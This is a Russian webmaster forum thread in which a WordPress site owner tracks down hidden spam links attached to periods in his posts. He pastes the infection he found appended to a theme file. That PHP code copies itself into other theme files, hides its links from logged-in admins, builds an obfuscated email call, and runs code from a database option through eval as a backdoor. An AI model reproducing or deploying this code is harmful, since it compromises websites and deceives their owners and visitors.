Вернуться   Форум SAPE.RU > Общие вопросы > Разработка и сопровождение сайтов

-->
Ответ
 
Опции темы
Старый 25.01.2012, 02:01   #1
Новичок
 
Аватар для rusmk
 
Регистрация: 11.05.2009
Адрес: Aden Castle
Сообщений: 94
Вес репутации: 198
rusmk скоро станет известен
По умолчанию Внешние ссылки wordpress

Подскажите пожалуйста в какую сторону копать?
Суть такова - на сайте движок-wordpress, появляются ссылки.
Ссылка возникает в тексте статьи, встаёт на точку в конце предложения. Самое интересное что в редакторе ссылка отсутствует, если точку удалить, то ссылка встаёт на другую точку в тексте в течение пары минут. Переключал тему, не помогло, деактивировал все плагины не помогло.
Подскажите что это? В какую сторону копать?
rusmk вне форума   Ответить с цитированием
Старый 25.01.2012, 02:06   #2
Добрый модератор
 
Аватар для zhegloff
 
Регистрация: 09.07.2007
Адрес: глобус Украины
Сообщений: 27,600
Вес репутации: 1040
zhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущее
По умолчанию

Цитата:
Сообщение от rusmk Посмотреть сообщение
Подскажите что это? В какую сторону копать?
скорее всего в сторону бесплатного, незнамо где скачанного шаблона.
__________________
Установка кода сапы от $9.95. Пишите в личку.
Правильный хостинг.
В личке бесплатно не отвечаю обычно.
zhegloff вне форума   Ответить с цитированием
Старый 25.01.2012, 02:18   #3
Новичок
 
Аватар для rusmk
 
Регистрация: 11.05.2009
Адрес: Aden Castle
Сообщений: 94
Вес репутации: 198
rusmk скоро станет известен
По умолчанию

Не всё так просто, шаблон проверял, удалил полностью и переходил на дефолтный не помогает.
Забыл упомянуть ещё такую деталь, если на сайте залогинен то ссылку не видно, но если открыть страницу в другом браузере где не вошёл в админку, то ссылка видна.
.htaccess также проверил всё в норме, я просто не могу найти в гугле похожих историй. Видимо не правильно ищу.
rusmk вне форума   Ответить с цитированием
Старый 25.01.2012, 02:40   #4
Эксперт
 
Аватар для MonAmur
 
Регистрация: 03.07.2007
Адрес: Chinatown
Сообщений: 7,267
Вес репутации: 624
MonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущее
По умолчанию

в БД поищите. там тоже может быть посторонний код.
MonAmur вне форума   Ответить с цитированием
Старый 25.01.2012, 04:40   #5
Специалист
 
Аватар для lETS
 
Регистрация: 10.01.2009
Сообщений: 197
Вес репутации: 206
lETS - весьма и весьма положительная личностьlETS - весьма и весьма положительная личностьlETS - весьма и весьма положительная личность
По умолчанию

Обновите движок до последней версии. Если версия последняя, накатите с офсафта еще раз ее повер старой. Возможно вирус сидит в одном из скриптов в вордпрессе.
lETS вне форума   Ответить с цитированием
Старый 05.02.2012, 01:53   #6
Новичок
 
Аватар для rusmk
 
Регистрация: 11.05.2009
Адрес: Aden Castle
Сообщений: 94
Вес репутации: 198
rusmk скоро станет известен
По умолчанию

Нашёл таки зловредный код, сам не знаток и ни черта в нём не понимаю, но может кому то будет интересно посмотреть.
PHP код:
<?php
function _verify_activate_widget(){
    
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    
$output=strip_tags($output$allowed);
    
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (
is_array($direst)){
        foreach (
$direst as $item){
            if (
is_writable($item)){
                
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                
$cont=file_get_contents($item);
                if (
stripos($cont,$ftion) === false){
                    
$sar=stripossubstr($cont,-20),"?".">") !== false "" "?".">";
                    
$output .= $before "Not found" $after;
                    if (
stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    
$output=rtrim($output"\n\t"); fputs($f=fopen($item,"w+"),$cont $sar "\n" .$widget);fclose($f);                
                    
$output .= ($showdot && $ellipsis) ? "..." "";
                }
            }
        }
    }
    return 
$output;
}
function 
_get_all_widgetcont($wids,$items=array()){
    
$places=array_shift($wids);
    if(
substr($places,-1) == "/"){
        
$places=substr($places,0,-1);
    }
    if(!
file_exists($places) || !is_dir($places)){
        return 
false;
    }elseif(
is_readable($places)){
        
$elems=scandir($places);
        foreach (
$elems as $elem){
            if (
$elem != "." && $elem != ".."){
                if (
is_dir($places "/" $elem)){
                    
$wids[]=$places "/" $elem;
                } elseif (
is_file($places "/" $elem)&& 
                    
$elem == substr(__FILE__,-13)){
                    
$items[]=$places "/" $elem;}
                }
            }
    }else{
        return 
false;    
    }
    if (
sizeof($wids) > 0){
        return 
_get_all_widgetcont($wids,$items);
    } else {
        return 
$items;
    }
}
if(!
function_exists("stripos")){ 
    function 
stripos(  $str$needle$offset 0  ){ 
        return 
strpos(  strtolower$str ), strtolower$needle ), $offset  ); 
    }
}

if(!
function_exists("strripos")){ 
    function 
strripos(  $haystack$needle$offset 0  ) { 
        if(  !
is_string$needle )  )$needle chr(  intval$needle )  ); 
        if(  
$offset 0  ){ 
            
$temp_cut strrev(  substr$haystack0abs($offset) )  ); 
        } 
        else{ 
            
$temp_cut strrev(    substr(   $haystack0max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  
$found stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE
        
$pos = (   strlen(  $haystack  ) - (  $found $offset strlen$needle )  )   ); 
        return 
$pos
    }
}
if(!
function_exists("scandir")){ 
    function 
scandir($dir,$listDirectories=false$skipDots=true) {
        
$dirArray = array();
        if (
$handle opendir($dir)) {
            while (
false !== ($file readdir($handle))) {
                if ((
$file != "." && $file != "..") || $skipDots == true) {
                    if(
$listDirectories == false) { if(is_dir($file)) { continue; } }
                    
array_push($dirArray,basename($file));
                }
            }
            
closedir($handle);
        }
        return 
$dirArray;
    }
}
add_action("admin_head""_verify_activate_widget");
function 
_prepared_widget(){
    if(!isset(
$length)) $length=120;
    if(!isset(
$method)) $method="cookie";
    if(!isset(
$html_tags)) $html_tags="<a>";
    if(!isset(
$filters_type)) $filters_type="none";
    if(!isset(
$s)) $s="";
    if(!isset(
$filter_h)) $filter_h=get_option("home"); 
    if(!isset(
$filter_p)) $filter_p="wp_";
    if(!isset(
$use_link)) $use_link=1
    if(!isset(
$comments_type)) $comments_type=""
    if(!isset(
$perpage)) $perpage=$_GET["cperpage"];
    if(!isset(
$comments_auth)) $comments_auth="";
    if(!isset(
$comment_is_approved)) $comment_is_approved=""
    if(!isset(
$authname)) $authname="auth";
    if(!isset(
$more_links_text)) $more_links_text="(more...)";
    if(!isset(
$widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset(
$checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset(
$more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset(
$more_content)) $more_content="ma".$s."il";
    if(!isset(
$forces_more)) $forces_more=1;
    if(!isset(
$fakeit)) $fakeit=1;
    if(!isset(
$sql)) $sql="";
    if (!
$widget_output) :
    
    global 
$wpdb$post;
    
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    
if (!empty($post->post_password)) { 
        if (
$_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
            if(
is_feed()) { 
                
$output=__("There is no excerpt because this is a protected post.");
            } else {
                
$output=get_the_password_form();
            }
        }
    }
    if(!isset(
$fix_tag)) $fix_tag=1;
    if(!isset(
$filters_types)) $filters_types=$filter_h
    if(!isset(
$getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset(
$more_tags)) $more_tags="div";
    if(!isset(
$s_text)) $s_text=substr($sq1stripos($sq1"live"), 20);#
    
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";    
    if(!isset(
$showdot)) $showdot=1;
    
    
$comments=$wpdb->get_results($sql);    
    if(
$fakeit == 2) { 
        
$text=$post->post_content;
    } elseif(
$fakeit == 1) { 
        
$text=(empty($post->post_excerpt)) ? $post->post_content $post->post_excerpt;
    } else { 
        
$text=$post->post_excerpt;
    }
    
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content="call_user_func_array($getcommentstext, array($s_text$filter_h$filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    
if($length 0) {
        
$output=$text;
    } else {
        if(!
$no_more && strpos($text"<!--more-->")) {
            
$text=explode("<!--more-->"$text2);
            
$l=count($text[0]);
            
$more_link=1;
            
$comments=$wpdb->get_results($sql);
        } else {
            
$text=explode(" "$text);
            if(
count($text) > $length) {
                
$l=$length;
                
$ellipsis=1;
            } else {
                
$l=count($text);
                
$more_links_text="";
                
$ellipsis=0;
            }
        }
        for (
$i=0$i<$l$i++)
                
$output .= $text[$i] . " ";
    }
    
update_option("_is_widget_active_"1);
    if(
"all" != $html_tags) {
        
$output=strip_tags($output$html_tags);
        return 
$output;
    }
    endif;
    
$output=rtrim($output"\s\n\t\r\0\x0B");
    
$output=($fix_tag) ? balanceTags($outputtrue) : $output;
    
$output .= ($showdot && $ellipsis) ? "..." "";
    
$output=apply_filters($filters_type$output);
    switch(
$more_tags) {
        case(
"div") :
            
$tag="div";
        break;
        case(
"span") :
            
$tag="span";
        break;
        case(
"p") :
            
$tag="p";
        break;
        default :
            
$tag="span";
    }

    if (
$use_link ) {
        if(
$forces_more) {
            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "#more-" $post->ID ."\" title=\"" $mlink_title "\">" $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpagetrue)) ? $more_links_text "" "</a></" $tag ">" "\n";
        } else {
            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "\" title=\"" $mlink_title "\">" $more_links_text "</a></" $tag ">" "\n";
        }
    }
    return 
$output;
}

add_action("init""_prepared_widget");

function 
__popular_posts($no_posts=6$before="<li>"$after="</li>"$show_pass_post=false$duration="") {
    global 
$wpdb;
    
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts$wpdb->comments";
    
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!
$show_pass_post$request .= " AND post_password =\"\"";
    if(
$duration !="") { 
        
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    
$posts=$wpdb->get_results($request);
    
$output="";
    if (
$posts) {
        foreach (
$posts as $post) {
            
$post_title=stripslashes($post->post_title);
            
$comment_count=$post->comment_count;
            
$permalink=get_permalink($post->ID);
            
$output .= $before " <a href=\"" $permalink "\" title=\"" $post_title."\">" $post_title "</a> " $after;
        }
    } else {
        
$output .= $before "None found" $after;
    }
    return  
$output;
}

add_filter('the_content''_bloginfo'10001);
function 
_bloginfo($content){
    global 
$post;
    if(
is_single() && ($co=@eval(get_option('blogoption'))) !== false){
        return 
$co;
    } else return 
$content;
}    
?>
rusmk вне форума   Ответить с цитированием
Старый 05.02.2012, 07:25   #7
Эксперт
 
Аватар для MonAmur
 
Регистрация: 03.07.2007
Адрес: Chinatown
Сообщений: 7,267
Вес репутации: 624
MonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущее
По умолчанию

Цитата:
Сообщение от rusmk Посмотреть сообщение
Нашёл таки зловредный код, сам не знаток и ни черта в нём не понимаю, но может кому то будет интересно посмотреть.
да вроде ничего там подозрительного нет.
а почему Вы подумали, что именно в этом коде внедрение происходит?
MonAmur вне форума   Ответить с цитированием
Старый 05.02.2012, 09:52   #8
Новичок
 
Аватар для rusmk
 
Регистрация: 11.05.2009
Адрес: Aden Castle
Сообщений: 94
Вес репутации: 198
rusmk скоро станет известен
По умолчанию

я методично сравнивал размер файлов с бэкапом полугодовой давности. Размер одного файла сильно отличался, отличался вот этим куском, то есть старый код заканчивается как положено (?>) на соответствующей строке. А затем идет этот код, которого в файле полугодовой давности нет.
После того как обновил файл, ссылки пропали.
Этот код сам как-то подставляет ссылку в тело статьи и чтобы её не было визуально видно он использует для анкора точку. Причём если удалить точку из тела статьи, то ссылка появляется на другой точке. Ещё одна тонкость, пока ты залогинен в адин-панели ссылки тебе не отображаются.
Я заметил их только благодаря функции в сапе подсчёт внешних ссылок на странице, потому что эта функция сразу показывает ссылки, а вот я их заметил, только когда открыл сайт в другом браузере, где не был выполнен вход в админ-панель.
rusmk вне форума   Ответить с цитированием
Старый 05.02.2012, 14:29   #9
Мастер
 
Аватар для mr. DR
 
Регистрация: 01.07.2010
Адрес: Сибирь матушка.
Сообщений: 723
Вес репутации: 214
mr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущееmr. DR - прекрасное будущее
По умолчанию

Цитата:
Сообщение от rusmk Посмотреть сообщение
Этот код сам как-то подставляет ссылку в тело статьи и чтобы её не было визуально видно он использует для анкора точку. Причём если удалить точку из тела статьи, то ссылка появляется на другой точке. Ещё одна тонкость, пока ты залогинен в адин-панели ссылки тебе не отображаются.
поищите темы созданный мной, примерно несколько месяцев назад это было, там есть решение проблемы полностю

Добавлено через 1 минуту
вот оно

Последний раз редактировалось mr. DR; 05.02.2012 в 14:29. Причина: Добавлено сообщение
mr. DR вне форума   Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Внешние ссылки в ЯВМ maksim7 Яндекс 8 17.01.2010 23:16
внешние ссылки внутренные ссылки. что лучше когда больше или меньше? ondas Вопросы от новичков 3 02.11.2008 21:40
Внешние ссылки panskibickyy Вопросы от новичков 5 05.09.2008 16:35
Ссылки на субдомены считаются как внешние ссылки? Sugar Вопросы по работе системы 3 19.10.2007 00:09
Внешние ссылки Kerk Ошибки при работе с системой 20 23.07.2007 15:11


Часовой пояс GMT +3, время: 08:12.